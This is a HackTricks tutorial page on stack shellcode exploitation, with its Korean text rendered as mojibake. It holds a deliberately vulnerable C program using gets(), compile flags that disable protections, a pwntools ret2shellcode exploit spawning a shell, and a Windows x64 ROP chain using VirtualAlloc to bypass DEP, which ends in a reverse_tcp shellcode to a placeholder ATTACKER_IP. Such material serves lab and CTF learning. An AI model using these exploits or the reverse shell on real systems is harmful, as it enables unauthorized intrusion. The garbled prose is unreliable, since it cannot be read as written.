Stack Shellcode
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
Stack shellcode์ ๊ณต๊ฒฉ์๊ฐ ์ทจ์ฝํ ํ๋ก๊ทธ๋จ์ ์คํ์ shellcode๋ฅผ ์ฐ๊ณ , ์ดํ Instruction Pointer (IP) ๋๋ **Extended Instruction Pointer (EIP)**๋ฅผ ์ด shellcode์ ์์น๋ก ๋ณ๊ฒฝํด ์คํ์ํค๋ binary exploitation์์ ์ฌ์ฉ๋๋ ๊ธฐ๋ฒ์ ๋๋ค. ์ด๋ ๋์ ์์คํ ์์ ๋ฌด๋จ ์ ๊ทผ์ ์ป๊ฑฐ๋ ์์์ ๋ช ๋ น์ ์คํํ๊ธฐ ์ํ ๊ณ ์ ์ ์ธ ๋ฐฉ๋ฒ์ ๋๋ค. ์๋์๋ ๊ฐ๋จํ C ์์ ์ Python์ pwntools๋ฅผ ์ฌ์ฉํด ๋์ํ๋ exploit๋ฅผ ์์ฑํ๋ ๋ฐฉ๋ฒ์ ํฌํจํ ๊ณผ์ ์ ๊ฐ์๊ฐ ์์ต๋๋ค.
C ์์ : ์ทจ์ฝํ ํ๋ก๊ทธ๋จ
์ทจ์ฝํ C ํ๋ก๊ทธ๋จ์ ๊ฐ๋จํ ์์ ๋ก ์์ํ๊ฒ ์ต๋๋ค:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
์ด ํ๋ก๊ทธ๋จ์ gets() ํจ์ ์ฌ์ฉ์ผ๋ก ์ธํด ๋ฒํผ ์ค๋ฒํ๋ก์ฐ ์ทจ์ฝ์ ์ด ์์ต๋๋ค.
์ปดํ์ผ
์ฌ๋ฌ ๋ณดํธ ๊ธฐ๋ฅ์ ๋นํ์ฑํํ์ฌ(์ทจ์ฝํ ํ๊ฒฝ์ ์๋ฎฌ๋ ์ด์ ํ๊ธฐ ์ํด) ์ด ํ๋ก๊ทธ๋จ์ ์ปดํ์ผํ๋ ค๋ฉด ๋ค์ ๋ช ๋ น์ด๋ฅผ ์ฌ์ฉํ์ธ์:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector: ์คํ ๋ณดํธ๋ฅผ ๋นํ์ฑํํฉ๋๋ค.-z execstack: ์คํ์ ์คํ ๊ฐ๋ฅํ๊ฒ ๋ง๋ญ๋๋ค. ์ด๋ ์คํ์ ์ ์ฅ๋ shellcode๋ฅผ ์คํํ๊ธฐ ์ํด ํ์ํฉ๋๋ค.-no-pie: Position Independent Executable์ ๋นํ์ฑํํ์ฌ shellcode๊ฐ ์์นํ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์๋ฅผ ์์ธกํ๊ธฐ ์ฝ๊ฒ ๋ง๋ญ๋๋ค.-m32: ํ๋ก๊ทธ๋จ์ 32-bit ์คํ ํ์ผ๋ก ์ปดํ์ผํฉ๋๋ค. exploit ๊ฐ๋ฐ์์ ๋จ์์ฑ์ ์ํด ์์ฃผ ์ฌ์ฉ๋ฉ๋๋ค.
Pwntools๋ฅผ ์ฌ์ฉํ Python Exploit
๋ค์์ pwntools๋ฅผ ์ฌ์ฉํ์ฌ ret2shellcode ๊ณต๊ฒฉ์ ์ํํ๋ Python exploit์ ์์ฑํ๋ ๋ฐฉ๋ฒ์ ๋๋ค:
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
์ด ์คํฌ๋ฆฝํธ๋ NOP slide, shellcode๋ก ๊ตฌ์ฑ๋ payload๋ฅผ ๋ง๋ค๊ณ , ์ด์ด์ EIP๋ฅผ NOP slide๋ฅผ ๊ฐ๋ฆฌํค๋ ์ฃผ์๋ก ๋ฎ์ด์จ shellcode๊ฐ ์คํ๋๋๋ก ๋ณด์ฅํฉ๋๋ค.
The NOP slide (asm('nop'))๋ ์คํ์ด ์ ํํ ์ฃผ์์ ๊ด๊ณ์์ด ์ฐ๋ฆฌ shellcode๋ก โslideโํ ํ๋ฅ ์ ๋์ด๊ธฐ ์ํด ์ฌ์ฉ๋ฉ๋๋ค. p32() ์ธ์๋ฅผ ๋ฒํผ ์์ ์ฃผ์์ ์ ์ ํ ์คํ์
์ ๋ํ ๊ฐ์ผ๋ก ์กฐ์ ํ์ฌ NOP slide์ ๋๋ฌํ๋๋ก ํ์ธ์.
Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
ํ๋ Windows์์๋ stack์ด non-executable (DEP/NX) ์ ๋๋ค. stack BOF ์ดํ์๋ stack-resident shellcode๋ฅผ ์คํํ๊ธฐ ์ํ ์ผ๋ฐ์ ์ธ ๋ฐฉ๋ฒ์ 64-bit ROP ์ฒด์ธ์ ๊ตฌ์ฑํ์ฌ ๋ชจ๋์ Import Address Table (IAT)์ ์๋ VirtualAlloc (๋๋ VirtualProtect)์ ํธ์ถํด stack์ ์์ญ์ ์คํ ๊ฐ๋ฅํ๋๋ก ๋ง๋ค๊ณ , ์ฒด์ธ ๋ค์ ๋ถ์ธ shellcode๋ก ๋ฆฌํดํ๋ ๊ฒ์ ๋๋ค.
Key points (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress โ ํ์ฌ stack (e.g., RSP)์์ ์ฃผ์๋ฅผ ์ ํํ์ฌ ์๋ก ํ ๋น๋ RWX ์์ญ์ด payload์ ๊ฒน์น๊ฒ ํ๋ค
- RDX = dwSize โ chain + shellcode๋ฅผ ๋ด๊ธฐ ์ถฉ๋ถํ ํฐ ๊ฐ (e.g., 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return directly into the shellcode placed right after the chain.
Minimal strategy:
- ASLR ํ์์ gadget๊ณผ IAT์ ์ ๋ ์ฃผ์๋ฅผ ๊ณ์ฐํ๊ธฐ ์ํด ๋ชจ๋ ๋ฒ ์ด์ค๋ฅผ leak(์: format-string, object pointer ๋ฑ)์ ํตํด ํ๋ํ๋ค.
- RCX/RDX/R8/R9๋ฅผ ๋ก๋ํ ์ ์๋ gadgets(pop ๋๋ mov/xor ๊ธฐ๋ฐ ์ํ์ค)๊ณผ call/jmp [VirtualAlloc@IAT]๋ฅผ ์ฐพ๋๋ค. ๋ง์ฝ pop r8/r9๊ฐ ์ง์ ์๋ค๋ฉด ์ฐ์ gadgets๋ฅผ ์ฌ์ฉํด ์์๋ฅผ ํฉ์ฑํ๋ค(์: r8=0์ผ๋ก ์ค์ ํ ๋ค r9์ 0x40์ 40๋ฒ ๋ํด 0x1000์ ๋ง๋ ๋ค).
- stage-2 shellcode๋ฅผ ์ฒด์ธ ๋ฐ๋ก ๋ค์ ๋ฐฐ์นํ๋ค.
Example layout (conceptual):
# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) โ if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX โ execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
์ ํ๋ gadget ์ธํธ๋ก register ๊ฐ์ ๊ฐ์ ์ ์ผ๋ก ๊ตฌ์ฑํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret โ r9์ rbx์์ ์ค์ ํ๊ณ , r8์ 0์ผ๋ก ๋ง๋ค๋ฉฐ, ์ฐ๋ ๊ธฐ qword๋ก ์คํ์ ๋ณด์ ํฉ๋๋ค.
- xor rbx, rsp; ret โ ํ์ฌ ์คํ ํฌ์ธํฐ๋ก rbx๋ฅผ ์ค์ ํฉ๋๋ค.
- push rbx; pop rax; mov rcx, rax; ret โ RSP๋ก๋ถํฐ ์ ๋๋ ๊ฐ์ RCX๋ก ์ด๋ํฉ๋๋ค.
Pwntools ์ค์ผ์น (given a known base and gadgets):
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
rop = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
ํ:
-
VirtualProtect๋ ๊ธฐ์กด ๋ฒํผ๋ฅผ RX๋ก ๋ง๋๋ ๊ฒ์ด ๋ ์ ํฉํ ๊ฒฝ์ฐ ๋น์ทํ๊ฒ ๋์ํฉ๋๋ค; ๋งค๊ฐ๋ณ์ ์์๋ง ๋ค๋ฆ ๋๋ค.
-
stack ๊ณต๊ฐ์ด ๋นก๋นกํ๋ฉด RWX๋ฅผ ๋ค๋ฅธ ๊ณณ์ ํ ๋น(RCX=NULL)ํ๊ณ ์คํ์ ์ฌ์ฌ์ฉํ์ง ๋ง๊ณ ๊ทธ ์ ์์ญ์ผ๋ก jmpํ์ธ์.
-
RSP๋ฅผ ์กฐ์ ํ๋ gadgets(e.g., add rsp, 8; ret)์ ํญ์ ๊ณ ๋ คํ์ฌ junk qwords๋ฅผ ์ฝ์ ํ์ธ์.
-
ASLR ๋นํ์ฑํ๋์ด์ผ ํฉ๋๋ค. ๊ทธ๋ ์ง ์์ผ๋ฉด ์ฃผ์๊ฐ ์คํ ๊ฐ ์ ๋ขฐํ ์ ์์ด์ ํจ์๊ฐ ์ ์ฅ๋ ์ฃผ์๊ฐ ํญ์ ๊ฐ์ง ์์ผ๋ฉฐ win ํจ์๊ฐ ์ด๋์ ๋ก๋๋์๋์ง ์์๋ด๋ ค๋ฉด ์ด๋ค leak๊ฐ ํ์ํฉ๋๋ค.
-
Stack Canaries ๋ํ ๋นํ์ฑํ๋์ด์ผ ํฉ๋๋ค. ๊ทธ๋ ์ง ์์ผ๋ฉด ์์๋ EIP ๋ฐํ ์ฃผ์๊ฐ ๊ฒฐ์ฝ ์คํ๋์ง ์์ต๋๋ค.
-
NX stack protection์ ์คํ ๋ด๋ถ์ shellcode ์คํ์ ๋ฐฉ์งํฉ๋๋ค. ํด๋น ์์ญ์ด ์คํ ๋ถ๊ฐ๋ฅํ๊ธฐ ๋๋ฌธ์ ๋๋ค.
๊ธฐํ ์์ ๋ฐ ์ฐธ๊ณ ์๋ฃ
- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
- 64bit, ASLR ํ๊ฒฝ์์ stack ์ฃผ์ leak, shellcode๋ฅผ ์์ฑํ๊ณ ํด๋น ์์น๋ก jump
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
- 32 bit, ASLR ํ๊ฒฝ์์ stack leak, shellcode๋ฅผ ์์ฑํ๊ณ ํด๋น ์์น๋ก jump
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
- 32 bit, ASLR ํ๊ฒฝ์์ stack leak, exit() ํธ์ถ์ ๋ฐฉ์งํ๊ธฐ ์ํ ๋น๊ต, ๋ณ์์ ๊ฐ์ ๋ฎ์ด์ฐ๊ณ shellcode๋ฅผ ์์ฑํด ํด๋น ์์น๋ก jump
- https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, ASLR ์์, ROP gadget์ผ๋ก stack์ executableํ๊ฒ ๋ง๋ค๊ณ stack์ shellcode๋ก jump
์ฐธ๊ณ ์๋ฃ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


